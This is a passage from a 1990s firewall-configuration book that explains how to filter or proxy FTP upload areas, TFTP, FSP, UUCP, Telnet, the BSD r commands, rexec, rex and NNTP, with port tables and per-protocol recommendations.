Here's what you do, assuming you're using a UNIX system for your FTP server:

  1. Make an "incoming" directory.

  2. Make a subdirectory there with a "secret" name, chosen in much the same way you'd choose a password - that is, something unguessable.

  3. Make the subdirectory with the secret name be writable.

  4. Make the parent directory (the incoming directory) mode execute-only (mode 111 - that is, --x--x--x).

For example:

unix# cd ~ftp/pub
unix# mkdir incoming
unix# cd incoming
unix# mkdir b2b_Free
unix# chmod a+w b2b_Free # or "chmod 0777 b2b_Free"
unix# cd ..
unix# chmod a=x incoming # or "chmod 0111 incoming"

Users can now upload files to the writable directory only if they know (presumably because you've told them) its secret, password-like name. You can create as many of these secret subdirectories as necessary, and you can change or delete them as often as necessary. If your site creates a top-level index of your FTP area (such as a file containing the output of "ls -lR ~ftp"), you need to make sure that the hidden directories don't appear in the index. The easiest way to do that is to run the indexing command as the "ftp" user, so that it has the same permissions that someone using anonymous FTP would have.

Beware that some FTP clients with graphical user interfaces will only let a user access a directory that the FTP client can see; they don't provide a way for the user to jump blindly to a directory that doesn't appear in a directory listing. Such clients won't work with this scheme because, by design, the client can't see the names of the subdirectories containing the actual data. This is not usually a problem for people coming in from UNIX machines, and there are publicly available clients for most platforms that do not have this problem, so you may be able to work around this limitation.

Removing the files

There is one other approach you might take, particularly if you find that your anonymous FTP area is already being abused and you're curious to see what people are uploading there. Basically, you run a short shell script once a minute as a cron job that moves files from the writable incoming directory to another directory outside the anonymous FTP area. This will ensure that the intruders won't be able to see what's been uploaded. You may need to rename files when you move them to avoid overwriting files with the same name. Because the files aren't there to look at, it's easy for people to unintentionally create name conflicts (particularly if they're sending you crash dumps, which probably all start out having the same name).

Make sure that the new directory is on the same filesystem, so the operating system doesn't have to copy the data. Because of the way that the UNIX filesystem works, this approach works even if the file is still being written when the "move" takes place, as long as the directory you're moving it to is on the same filesystem as the original directory ("moving" a file in such a case doesn't actually move the data; it merely renames the file).

This doesn't avoid denial of service attacks; people can still fill up your disk space. In fact, they may retry downloads multiple times (because the files keep mysteriously disappearing) and unintentionally fill up your disks.

8.2.1.7 Summary of recommendations for FTP

  • If you have FTP clients that properly support passive mode, then allow internal hosts to contact external FTP servers via packet filtering. This is only safe if you can filter on the TCP ACK bit, so that you can allow only outgoing TCP connections from ports above 1023 to ports above 1023.

  • If you have FTP clients that don't support passive mode, then use an FTP proxy server such as the one in the TIS Internet Firewall Toolkit.

  • Consider providing FTP access via both packet filtering and proxies, supporting passive mode via packet filtering and normal mode via proxies.

  • If you want to allow incoming FTP, use packet filters to allow incoming FTP only to your bastion host.

  • If you allow incoming FTP (anonymous or user), use an up-to-date FTP server.

  • If you allow anonymous FTP users to write files, protect the writable area so it can't be used to transfer files between third parties.

  • Be careful about who within your organization can put up files for anonymous FTP, and make sure they understand what they're doing.

  • If you want to allow nonanonymous FTP, see Chapter 10, Authentication and Inbound Services for a discussion of the password and authentication issues involved.

8.2.2 Trivial File Transfer Protocol (TFTP)

TFTP is a simplified file transfer protocol; it is simpler than FTP, and is designed to be implemented in ROM for booting diskless systems like X terminals, diskless workstations, and routers. There is no authentication with TFTP; a TFTP client simply connects to the server and asks for a file, without saying who the file is for. If the file is one that the server can access, the server gives the client the file. For this reason, you need to be very careful about what your TFTP server (if you have one) can access, and what clients can access the server.

Generally, there's no reason at all to allow TFTP across your firewall, even if you use it internally. You do not want to boot diskless systems across the Internet, and people do not transfer files with TFTP.

8.2.2.1 Packet filtering characteristics of TFTP

TFTP is a UDP-based protocol. Servers listen on port 69 for the initial client-to-server packet to establish the TFTP session, then use a port above 1023 for all further packets during that session. Clients use ports above 1023.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | UDP | >1023 | 69 | [8] | Incoming TFTP request (first packet from client)
Out | Int | Ext | UDP | >1023 | >1023 | [8] | Response to incoming request
In | Ext | Int | UDP | >1023 | >1023 | [8] | Subsequent packets from client
Out | Int | Ext | UDP | >1023 | 69 | [8] | Outgoing TFTP request (first packet from client)
In | Ext | Int | UDP | >1023 | >1023 | [8] | Response to outgoing request
Out | Int | Ext | UDP | >1023 | >1023 | [8] | Subsequent packets from client

[8] UDP packets do not have ACK bits.

8.2.2.2 Proxying characteristics of TFTP

TFTP does not lend itself well to proxying. Because TFTP clients are often implemented in hardware, with no users involved, neither modified clients nor modified user procedures are generally implementable. A transparent proxy could easily support TFTP, providing the same extremely minimal amount of security achievable if you allow TFTP through packet filters.

8.2.2.3 Summary of TFTP recommendations

  • Do not allow TFTP across your firewall.

8.2.3 File Service Protocol (FSP)

FSP is a file transfer protocol that was designed to circumvent FTP restrictions. Very few sites provide supported FSP service; most FSP servers are set up by users or attackers, without the knowledge or consent of a machine's managers. FSP activity is often a clue that attackers have compromised a site; attackers often use FSP to move their files from site to site. FSP activity can be difficult to detect, however, because, as we discuss below, there are no standard port numbers that FSP clients and servers use.

8.2.3.1 Packet filtering characteristics of FSP

FSP is intentionally difficult to suppress with packet filtering. Filtering out all UDP services except those you need, and restricting those to specific hosts, will pretty well get rid of it except on the hosts you're allowing other UDP services to. If you want to allow FSP, that's extremely simple; allowing UDP packets to and from a host, at any port number, will allow it to be an FSP server and/or client.

FSP is a UDP-based protocol. There is no "standard" port number that the server runs on; anyone running a server chooses the port that server will use. If they have root access, they often choose port 21, the UDP equivalent of the TCP port used by FTP; if they don't have root access, they have to use a port above 1023, and there's no predicting what it will be. Clients generally use ports above 1023.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | UDP | >1023[9] | [9] | [10] | Incoming FSP request
Out | Int | Ext | UDP | [9] | >1023[9] | [10] | Response to incoming request
Out | Int | Ext | UDP | >1023[9] | [9] | [10] | Outgoing FSP request
In | Ext | Int | UDP | [9] | >1023[9] | [10] | Response to outgoing request

[9] FSP does not have standard port numbers, although people running FSP servers often put them on port 21 if they have root access (paralleling FTP servers, which use TCP port 21). Clients usually use ports above 1023, but not always.

[10] UDP packets do not have ACK bits.

8.2.3.2 Proxying characteristics of FSP

Using generic proxies to proxy a UDP-based application with no standard port number is as difficult as trying to suppress it with packet filters. No standard proxy package supports FSP. A dedicated FSP proxy would be possible to write.

8.2.3.3 Summary of FSP recommendations

  • Do not allow FSP across your firewall. Block all UDP except for specific services you wish to intentionally allow, such as DNS.

8.2.4 UNIX-to-UNIX Copy Protocol (UUCP)

UUCP was designed for transferring files, including electronic mail and news, between UNIX machines; it is the original UNIX networking system. UUCP is primarily used as a dial-up protocol (as the sole protocol over a modem connection), but some sites, particularly those with intermittent dial-up Internet service, use UUCP over TCP to transfer mail and news from their service provider. UUCP allows the service provider to collect and hold all of the site's mail and news; when the site brings up its Internet connection and contacts the service provider using UUCP, the service provider transfers all of the accumulated mail and news at once.

UUCP over TCP is also used by some sites that have much faster permanent Internet connections (56 Kb/s lines, for example) to transfer Usenet news, because UUCP over TCP is more bandwidth-efficient than NNTP for this purpose. (It has recently become difficult or impossible to keep up with the news in every group over a 56 Kb/s line using NNTP, for example; there isn't enough bandwidth. As the volume of Usenet news continues to grow, this problem is going to get worse.)

One of the nice features of UUCP is that, once a connection between two sites is established, that connection is used to transfer all the pending data between the two sites, regardless of which site initiated the connection. This means that you could allow only outgoing UUCP connections, and poll your service provider on a regular basis (hourly, for example) to both send your outgoing messages and collect your incoming messages.

Most sites do not use UUCP in any form any more. If you don't have any special needs, you can simply not allow it across your firewall.

Because UUCP uses reusable passwords, someone who snoops on one of your UUCP sessions will later be able to connect to your service provider and impersonate you, or connect to you and impersonate your service provider. The passwords are also generally stored unencrypted in the configuration files on the calling machine, so it may be possible to do this without even snooping on a connection first. You may be able to defend against this with various mechanisms that depend on what version of UUCP you and your service provider are using.[11]

[11] For a more detailed discussion, see the book Managing UUCP and Usenet by Tim O'Reilly and Grace Todino (O'Reilly & Associates, 1992).

8.2.4.1 Packet filtering characteristics of UUCP

UUCP over TCP is obviously a TCP-based service. Servers use port 540. Clients use ports above 1023.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | >1023 | 540 | [12] | Incoming UUCP connection, client to server
Out | Int | Ext | TCP | 540 | >1023 | Yes | Incoming UUCP connection, server to client
Out | Int | Ext | TCP | >1023 | 540 | [12] | Outgoing UUCP connection, client to server
In | Ext | Int | TCP | 540 | >1023 | Yes | Outgoing UUCP connection, server to client

[12] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.2.4.2 Proxying characteristics of UUCP

UUCP is a store-and-forward protocol, and as such is not used with general-purpose proxies; instead, it's configured to effectively do its own proxying. It is a straightforward single-connection protocol used with a small number of clients, and thus is well-suited to both modified-client and modified-procedure proxying. On the other hand, it is rare for people to want to proxy it, so there are no widely available proxies specifically written for it. Generic proxy servers, such as the plug-gw program in the TIS FWTK, should work if you can decide which real server to connect to based on which client the connection request is coming from (in other words, if all connections are to the same server, or if a given client host always connects to the same server).

8.2.4.3 Summary of UUCP recommendations

  • You probably do not need to allow UUCP over TCP at your site. If you do wish to use it, use packet filters to limit access to a bastion host.

Previous: 8.1 Electronic Mail | Building Internet Firewalls | Next: 8.3 Terminal Access (Telnet)
8.1 Electronic Mail | Book Index | 8.3 Terminal Access (Telnet)


[Chapter 8] 8.3 Terminal Access (Telnet)

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.2 File Transfer Chapter 8
Configuring Internet Services 		Next: 8.4 Remote Command Execution

8.3 Terminal Access (Telnet)

Telnet allows a user to remotely access a command shell on another computer. Telnet is supported by most platforms on the Internet, even some MS-DOS and Microsoft Windows systems (which provide access to a DOS shell via a Telnet server). The major exception is the Macintosh operating system, which doesn't have a command-line-oriented shell to give users access to, regardless of whether they're local or not; if MacOS did have a shell, however, somebody would probably create a Telnet server to give remote access to it. (And, having written this, we're sure someone will tell us that there is a Telnet server for MacOS which we simply didn't know about.)

Although remote terminal access is the most common use of Telnet, most Telnet clients support the specification of arbitrary port numbers to access text-based TCP services at other ports. This is useful if you have a service for which you don't want to distribute a dedicated client, for example, it's often used to give access to MUDs (Multi-User Domains) and MOOs (Multi-user domains, Object Oriented), which are multiuser environments for games, collaborative work environments, or chat areas. Telnet clients are also used fairly often for debugging protocols that are normally accessed by dedicated clients. For example, people will check SMTP servers or verify user names by using telnet hostname 25 to connect to the SMTP server directly on port 25 and type SMTP commands at it. It's important to understand that, although you may be using the program named telnet for these purposes, all it's doing is opening a simple TCP connection to the specified port number. The telnet program doesn't use the Telnet protocol (which provides for things like option negotiation between client and server, line-at-a-time and character-at-a-time modes, and so on) unless it is talking to a server on the standard Telnet port (port 23). This section discusses only the use of Telnet clients to access Telnet servers.

Incoming and outgoing Telnet have very different security implications. Most sites want to allow their users access to outgoing Telnet service, so their users can get to command shells and information services provided via Telnet on remote systems on the Internet. (Figure 8.8 illustrates outbound Telnet.) On the other hand, most sites don't want to allow (or want to allow but very strictly control) incoming Telnet access to their site. Chapter 10 describes reasons for, and ways of, controlling incoming access, so we won't discuss these in any detail here.

Figure 8.8: Outbound Telnet

Regardless of whether the access is incoming or outgoing, Telnet is a cleartext protocol (just like most others). Whatever information your users access or provide over a Telnet session (for example, accessing sensitive data, or providing their passwords for other systems) is going to be visible to someone snooping on the Telnet connection. Encrypting versions of Telnet are starting to become available, but none are widely used yet. As these tools become more capable and more widely supported, they should become more useful. The best place to see what's currently available would be one of the general Internet security Web pages (such as the COAST Web page) discussed in Appendix A.

Users should be warned to use different passwords on external hosts from those they use on your hosts. When they make outgoing Telnet connections, their passwords may be sniffed.

8.3.1 Packet Filtering Characteristics of Telnet

Telnet is a TCP-based service. Telnet servers normally use port 23 (they can be set to use any port number, but very rarely use any port but 23). Telnet clients use ports above 1023. (Telnet is used as an example in Chapter 6 so its filtering characteristics are discussed in more detail there.)

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | >1023 | 23 | [13] | Incoming session, client to server
Out | Int | Ext | TCP | 23 | >1023 | Yes | Incoming session, server to client
Out | Int | Ext | TCP | >1023 | 23 | [13] | Outgoing session, client to server
In | Ext | Int | TCP | 23 | >1023 | Yes | Outgoing session, server to client

[13] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.3.2 Proxying Characteristics of Telnet

Telnet is well-supported by proxies. SOCKS provides a modified UNIX Telnet client; modifying clients on other platforms is relatively trivial. The TIS FWTK provides a Telnet proxy server that requires modified user procedures. The SOCKS proxies should allow you to connect to ports other than the standard Telnet port, if such connections are OK according to your SOCKS server configuration file. Almost any commercial proxying package will probably provide Telnet proxying, because Telnet is such a commonly used protocol on the Internet.

8.3.3 Summary of Telnet Recommendations

  • Restrict incoming Telnet as far as possible; most sites have little or no need for it. Whatever you're going to allow, follow the authentication guidelines in Chapter 10.

  • Outgoing Telnet can safely be allowed via packet filtering or proxying.

  • If you're concerned about the sensitivity of the data accessed over Telnet sessions, consider using an encrypting version of Telnet; check one of the general Internet security Web pages (such as the COAST page) to see what tools are currently available.

Previous: 8.2 File Transfer | Building Internet Firewalls | Next: 8.4 Remote Command Execution
8.2 File Transfer | Book Index | 8.4 Remote Command Execution


[Chapter 8] 8.4 Remote Command Execution

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.3 Terminal Access (Telnet) Chapter 8
Configuring Internet Services 		Next: 8.5 Network News Transfer Protocol (NNTP)

8.4 Remote Command Execution

A variety of protocols exist primarily to allow users to execute commands on remote systems. This section describes the BSD "r" commands, rexec and rex.

8.4.1 BSD `r' Commands

The BSD "r" commands (rsh, rlogin, rcp, rdump, rrestore, and rdist) are designed to provide convenient remote access (access without passwords) to services such as remote command execution (rsh), remote login (rlogin), and remote file copying (rcp and rdist).

These programs are extremely useful, but as we discuss below, they are safe to use only in an environment in which all of the machines are more or less trusted to play by the rules. While it may be appropriate to use these services within a LAN, it's almost never appropriate to use them across the Internet. It's just too easy for someone to convince these services that they're OK and that the service should perform what's requested.

Proxying can be used to allow some of these commands safely, particularly outbound.

The difficulty with these commands is that they use address-based authentication. The server looks at the source address of the request and decides whether or not it trusts the remote host to tell it who the user is (this is controlled by the /etc/hosts.equiv file on UNIX systems).

If the host is not in /etc/hosts.equiv, it can still be granted access if it is in the .rhosts file in the home directory of the user who is asking for the service. (In fact, if the requester is running as root, only /.rhosts is consulted; /etc/hosts.equiv applies only to normal users.) The security can be further weakened by users adding to their .rhosts files; these files specify which additional remote machines and users should be trusted. In some implementations, it is possible to disable checking of .rhosts files with command-line arguments to the servers.

If either of the following is true:

  • The account the user is coming from, on the host he is coming from, is listed in the .rhosts file for the account he is trying to access on the server.

  • The account name is the same on both ends and the hostname is listed in .rhosts or /etc/hosts.equiv.

then the authorization for the account he is trying to access is applied. That is, if the account is verified on the server, the user is authorized.

An attacker who convinces one of these servers that he is coming from a "trusted" machine can essentially get complete and unrestricted access to your system. He can convince the server by impersonating a trusted machine and using its IP address, by confusing DNS so that DNS thinks that the attacker's IP address maps to a trusted machine's name, or by any of a number of other methods.

If the trusted host check described above fails (that is, if the user is not coming from a trusted host), most of these services simply deny the client's request and disconnect. The rlogind server, however, will prompt the client for a password if the trusted host check fails. The password entered is sent in the clear over the net, just as with Telnet, so you have to worry about attackers capturing passwords from rlogin sessions, as they can from Telnet sessions. See Chapter 10 for a discussion of ways to address password sniffing attacks.

On some systems, it is possible to disable the trusted host checks with a command line argument to the servers; even if your server doesn't provide a convenient switch to disable the checks, if you have (or can get) source code for the servers, it's usually a relatively simple fix. However, without the trusted host mechanism, the rshd server is completely pointless, because it provides no way to prompt for a password or anything like that if the trusted host check fails. The rlogind server is still somewhat useful without the trusted host check, because it can ask for a password, but it's not much more useful than Telnet.

8.4.1.1 Packet filtering characteristics of the BSD `r' commands

The "r" commands are TCP-based services. For the server, they use well-known port 513 (rlogin) or 514 (rsh, rcp, rdump, rrestore, and rdist; these are just different clients for the same server). They are somewhat unusual in that they use random ports below 1024 for the client end.

Using ports below 1024 for the client end is an attempt at a security scheme that allows password-less access to these services as long as the requests come from a trusted host and user, as discussed above. The idea is that, if the request comes from a port below 1024 on the client end, then the request must be OK with root on the client machine; if it were not, the client never could have gotten the port below 1024 to use for the request.

Further, some of the clients of the server on port 514 (rsh, for example) use a second TCP connection for error reporting. This second TCP connection is opened from a random port below 1024 on the server to a random port below 1024 on the client; that is, an outgoing rsh command involves an incoming TCP connection for the error channel.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | <1024 | 513 | [14] | Incoming rlogin, client to server
Out | Int | Ext | TCP | 513 | <1024 | Yes | Incoming rlogin, server to client
Out | Int | Ext | TCP | <1024 | 513 | [14] | Outgoing rlogin, client to server
In | Ext | Int | TCP | 513 | <1024 | Yes | Outgoing rlogin, server to client
In | Ext | Int | TCP | <1024 | 514 | [14] | Incoming rsh/rcp/rdump/rrestore/rdist, client to server
Out | Int | Ext | TCP | 514 | <1024 | Yes | Incoming rsh/rcp/rdump/rrestore/rdist, server to client
In | Ext | Int | TCP | <1024 | <1024 | Yes | Incoming rsh, error channel, client to server
Out | Int | Ext | TCP | <1024 | <1024 | [14] | Incoming rsh, error channel, server to client
Out | Int | Ext | TCP | <1024 | 514 | [14] | Outgoing rsh/rcp/rdump/rrestore/rdist, client to server
In | Ext | Int | TCP | 514 | <1024 | Yes | Outgoing rsh/rcp/rdump/rrestore/rdist, server to client
Out | Int | Ext | TCP | <1024 | <1024 | Yes | Outgoing rsh, error channel, client to server
In | Ext | Int | TCP | <1024 | <1024 | [14] | Outgoing rsh, error channel, server to client

[14] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.4.1.2 Proxying characteristics of the BSD `r' commands

The only one of these commands that's widely used across the Internet is rlogin. The TIS FWTK provides a proxy rlogin server that uses modified user procedures to provide outbound rlogin.

The other commands rely completely on address-based authentication, and don't allow the user to specify a password at all. They're used so seldom across the Internet that proxies for them are not widely available. All of them allow the user to specify enough data that's passed to the server that it would be possible to write modified-procedures proxies for them. Modifying the rcmd() and related functions in the standard UNIX library allow you to create clients that use a generic proxy server.

8.4.1.3 Summary of the BSD `r' command recommendations

  • Don't allow any of the "r" commands across your firewall except outbound by proxy; they're unsafe. Use alternative protocols such as Telnet, FTP, and so on that can be made more secure.

  • There is no way to safely provide outgoing rsh service, because to do so you would have to allow incoming TCP connections to random ports below 1024 for the error channels.

  • If you absolutely have to allow them, make sure that the trusted host mechanisms are strictly controlled (preferably by disabling that code in the server, which may require modifying the source code).

  • Beware disclosure of reusable passwords when using rlogin, just as when using Telnet.

8.4.2 rexec

rexec is a widely run but rarely used server. It's rarely used because it has few standard clients; the only utility commonly shipped with UNIX systems that we're aware of that uses rexec is the inst software installation tool that's part of the Silicon Graphics IRIX operating system, for remote software installations. It is unclear to us why it is widely run, but almost every UNIX system ships with rexecd enabled in /etc/inetd.conf, apparently just in case somebody should be moved to write a local client for it.

rexec is usually lumped in with the BSD "r" commands, but is actually slightly more secure than the others. Rather than providing source-address authentication, it always requires the user to provide a user name and password. Unfortunately, it passes these across the network in the clear, so it has no security advantage over Telnet, for example.

8.4.2.1 Packet filtering characteristics of rexec

rexec is a TCP-based service. The server uses port 512. The client uses a random port below 1024 (see the previous explanation for the BSD "r" commands).

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | <1024 | 512 | [15] | Incoming rexec, client to server
Out | Int | Ext | TCP | 512 | <1024 | Yes | Incoming rexec, server to client
Out | Int | Ext | TCP | <1024 | 512 | [15] | Outgoing rexec, client to server
In | Ext | Int | TCP | 512 | <1024 | Yes | Outgoing rexec, server to client

[15] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.4.2.2 Proxying characteristics of rexec

Because there are no widely available clients of rexec, there are no widely available proxies for it. If you had a client that did use rexec, it would not be terribly difficult to modify it to use a generic proxy like SOCKS. If the rexec clients on a given machine were always accessing the same server, you could also use a generic proxy server like the plug-gw program in the TIS FWTK. It would be somewhat trickier, but by no means impossible, to write a dedicated proxy server that would use modified user procedures.

8.4.2.3 Summary of rexec recommendations

  • rexec is pointless; disable it.

8.4.3 rex

rex is an RPC-based service for remote command execution. For an understanding of the problems RCP-based services pose for firewalls, see the discussion of RPC-based services in Chapter 6. There are worse problems with rex, however; in particular, it places all of its security checks in the client (which is a program named on), and anyone can use a modified client that bypasses these checks.

8.4.3.1 Packet filtering characteristics of rex

rex is an RPC-based service. As described in the section on RPC in Chapter 6, it's very difficult to handle RPC-based services with a packet filtering system, because the servers usually don't use predictable port numbers. While the port numbers to be used are too unpredictable for a packet filtering system to cope with, they're not so unpredictable that an attacker can't find them. (If nothing else, the attacker could try sending rex requests to all ports, to see which respond as they would expect a rex server to.)

rex is provided over TCP. Like other RPC-based services, however, there's no predicting what port number the server is going to use. Clients generally use port numbers above 1023.

8.4.3.2 Proxying characteristics of rex

RPC-based protocols are almost as unpleasant to proxy as they are to allow with packet filtering; they cannot be adequately handled with generic proxies. A dedicated rex proxy server would be possible, but we do not know of one.

8.4.3.3 Summary of rex recommendations

  • Don't allow rex across your firewall; better yet, don't allow it at all, because it's completely insecure even within a LAN environment.

Previous: 8.3 Terminal Access (Telnet) | Building Internet Firewalls | Next: 8.5 Network News Transfer Protocol (NNTP)
8.3 Terminal Access (Telnet) | Book Index | 8.5 Network News Transfer Protocol (NNTP)


[Chapter 8] 8.5 Network News Transfer Protocol (NNTP)

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.4 Remote Command Execution Chapter 8
Configuring Internet Services 		Next: 8.6 World Wide Web (WWW) and HTTP

8.5 Network News Transfer Protocol (NNTP)

NNTP is the service generally used to transfer Usenet news across the Internet (as we mentioned above, UUCP over TCP is sometimes used for this purpose). A news server is the place where Usenet news flows into and out of your organization, and which your users access (via news clients) to read and post news. There are a number of news servers available, including B-News, C-News, and INN, and they generally speak NNTP among themselves so they can transfer news between sites. In addition, many news clients use NNTP to access news servers for users reading news.

8.5.1 Packet Filtering Characteristics of NNTP

NNTP is a TCP-based service. NNTP servers use port 119. NNTP clients (including servers transferring news to other servers) use ports above 1023.

Figure 8.9 shows NNTP via packet filtering.

Figure 8.9: NNTP via packet filtering

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | >1023 | 119 | [16] | Incoming news
Out | Int | Ext | TCP | 119 | >1023 | Yes | Incoming news responses
Out | Int | Ext | TCP | >1023 | 119 | [16] | Outgoing news
In | Ext | Int | TCP | 119 | >1023 | Yes | Outgoing news responses
[17] | Int | News Server | TCP | >1023 | 119 | [16] | Newsreader client reading news
[17] | News Server | Int | TCP | 119 | >1023 | Yes | Server sending articles to newsreader client

[16] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

[17] Both ends are internal in most cases.

8.5.2 Proxying Characteristics of NNTP

NNTP is a store-and-forward protocol, capable of doing its own proxying. It is also easy to proxy as a straightforward single-connection protocol. The TIS FWTK provides a generic proxy, plug-gw, which is frequently used with NNTP as well as modified user procedures (the NNTP connection is directed to the proxy server, which redirects the connection based on the client address). It would be easy to modify clients to use a generic modified-client proxy like SOCKS.

Figure 8.10 shows NNTP via proxy services.

Figure 8.10: NNTP via proxy services

8.5.3 Dangerous Ways to Set up NNTP in a Firewall Environment

It may seem obvious that the bastion host should be your site's Usenet news server. However, there are some subtle problems that can be caused by such a configuration.

First, it is advisable to dedicate a machine to news service; news has a tendency to absorb all available disk space and processing time, and does not coexist well with critical services. If you use a bastion host for news, you will probably need to have multiple bastion hosts, which is not in itself a bad thing, but does raise maintenance overhead. It may not be worth it to you to have multiple bastion hosts just so you can provide news service on one of them.

Second, if your news server is your bastion host, you can't have any private or proprietary newsgroups for internal discussions. You wouldn't want those newsgroups to be exposed if the bastion host gets broken into, or if some outsider manages to connect to your NNTP server and convinces it to show him your newsgroups.

Third, if your bastion host is your news server, you will have to choose one of four approaches to letting your users read news; each of these approaches, described in the sections below, has its own problems.

8.5.3.1 Letting users log into the bastion host to read news

The most straightforward approach is to let users log into the bastion host and run a newsreader. This involves giving many users accounts on the bastion host, and will seriously compromise the bastion host's security. (See the discussions concerning user accounts on bastion hosts in Chapter 5, Bastion Hosts.)

This approach may not be very popular with the users, either, because it will require them all to use whichever UNIX newsreaders are available on the bastion host.

8.5.3.2 Using only NNTP clients to read news

The second and somewhat safer approach is to make your users use only NNTP clients to read news from the bastion host. The main problem with this approach is that it requires your users to use NNTP-capable newsreaders. While many, perhaps even most, newsreaders are NNTP-capable, there are some that are still in common usage (such as certain versions of nn) that are not NNTP-capable. Depending on the NNTP server you are using, it may be impossible to get popular newsreader features like article threading through NNTP. You may have difficulty finding a server that has all the features you want for both transferring news and serving newsreaders.

8.5.3.3 Exporting news to clients via NFS

The third approach you could take to making your bastion host be your news server is to export the news to clients via NFS. This approach solves one of the problems we've identified: it allows you to use non-NNTP-capable newsreaders. However, it doesn't solve the other major problem, that of not being able to support any private or proprietary newsgroups for fear of exposure. If your users can use NFS to access your news server, chances are that an attacker can too, because the security of NFS is so weak. You're much better off disabling NFS altogether on your bastion host (see the section on NFS later in this chapter and Chapter 5 for further discussion of this point).

8.5.3.4 Relaying news through your bastion host to an internal news server

The fourth approach is to simply relay news through your bastion host, and make some internal system your "real" news server. The most obvious way to do this is to set up a news server on the bastion host that simply relays news to and from the internal news server.

The problem with this approach is that it requires a lot of maintenance. It takes a fair amount of ongoing attention to keep a news system functioning; ideally, you'd like to be able to set your bastion host up and leave it alone, maintenance free. Also, tightly coupled news systems like these are very susceptible to cascading problems. A problem on one causes news to stop flowing, stopping things up on the other system and causing problems there; when you fix the first problem, the other system floods the first, and the whole process starts over. However, if you have experienced news administrators and a large amount of disk space, you may find this approach acceptable, and it can be set up to allow for private newsgroups.

8.5.4 Good Ways to Set up NNTP in a Firewall Environment

One of the key differences between NNTP and other protocols, such as SMTP, is in how they are used. You might get SMTP connections from all over the world, as folks from everywhere send electronic mail to your site. On the other hand, you'll only get legitimate NNTP connections from your news feed site (or sites).

The most convenient and reliable way to deal with news on a firewall is usually to arrange for the news to flow directly between your feed site(s) and your internal news server. This can be arranged either through packet filtering, or through a proxy system on the bastion host, as we describe in the following sections.

If you set up NNTP using either packet filtering or a proxy server, you'll greatly reduce your vulnerability to attacks via NNTP. With NNTP configured as we describe here, both of the following conditions would have to hold true in order for you to be attacked via NNTP:

  • Your NNTP server would have to have some bug or configuration error that could be exploited.

  • The attack would have to come from (or appear to come from) one of your feed sites, because the feed sites are the only sites that are allowed to open NNTP connections to your server.

NNTP is a relatively simple protocol. There have been no known attacks that use NNTP itself. There has been one known data-driven attack on UNIX news systems, which relied on the willingness of some news server software to create newsgroups automatically. It was possible to specify newsgroup names with semicolons (;) in them, so that when the news server went to create the group it also executed commands contained after the semicolon in the malformed group name. Because the control messages were malformed, they weren't recognized and propagated by all servers, and many sites were immune anyway because they didn't automatically create newsgroups. This bug is fixed in current releases of various news server software packages, but it highlights the importance of staying up to date, as we describe in Chapter 12, Maintaining Firewalls.

You may want to disable automated group creation in any case; it's a maintenance hassle to keep up with valid requests, but users can find it seriously annoying to deal with the side effects of automated group creation when somebody decides that it's amusing to send a few thousand creation requests overnight, most of them obscene.

8.5.5 Using Packet Filtering with NNTP

If you've set up a packet filtering system between the internal news server and your news feed site, you can arrange to pass NNTP between them. Set up the packet filtering system to allow the following, as shown in the table below:

  • Incoming NNTP connections, so that you can receive news: that is, TCP packets from ports above 1023 on the remote system to port 119 on your news server, and TCP packets with the ACK bit set from port 119 on your news server to ports above 1023 on the remote system. (Rules A and B)

  • Outgoing NNTP connections, so that you can send news: that is, TCP packets from ports above 1023 on your news server to port 119 on the remote system, and TCP packets with the ACK bit set from port 119 on the remote system to ports above 1023 on your news server (Rules C and D).

 | Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
Rule | tion | Addr. | Addr. | tocol | Port | Port | Set | Action
A | In | Service Provider | Your Server | TCP | >1023 | 119 | Any | Permit
B | Out | Your Server | Service Provider | TCP | 119 | >1023 | Yes | Permit
C | Out | Your Server | Service Provider | TCP | >1023 | 119 | Any | Permit
D | In | Service Provider | Your Server | TCP | 119 | >1023 | Yes | Permit

8.5.6 Summary of NNTP Recommendations

  • Don't use a bastion host as a news server.

  • Don't allow automated group creation.

  • Allow external NNTP connections only from the sites you exchange news with.

  • Use packet filtering or proxying to connect trusted external NNTP servers to an internal news server, and vice versa.

Previous: 8.4 Remote Command Execution | Building Internet Firewalls | Next: 8.6 World Wide Web (WWW) and HTTP
8.4 Remote Command Execution | Book Index | 8.6 World Wide Web (WWW) and HTTP


[Chapter 8] 8.6 World Wide Web (WWW) and HTTP

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.5 Network News Transfer Protocol (NNTP) Chapter 8
Configuring Internet Services 		Next: 8.7 Other Information Services

8.6 World Wide Web (WWW) and HTTP

The existence of the World Wide Web (WWW) is a major factor behind the recent explosive growth of the Internet. Since the introduction of the NCSA Mosaic package (the first graphical user interface to the WWW to gain widespread acceptance) in 1993, WWW traffic on the Internet has been growing at an explosive rate, far faster than any other kind of traffic (e.g., SMTP email, FTP file transfers, Telnet remote terminal sessions, etc.). You will certainly want to let your users use a browser to access WWW sites, and you will very likely to want to run a site yourself, if you do anything that might benefit from publicity.

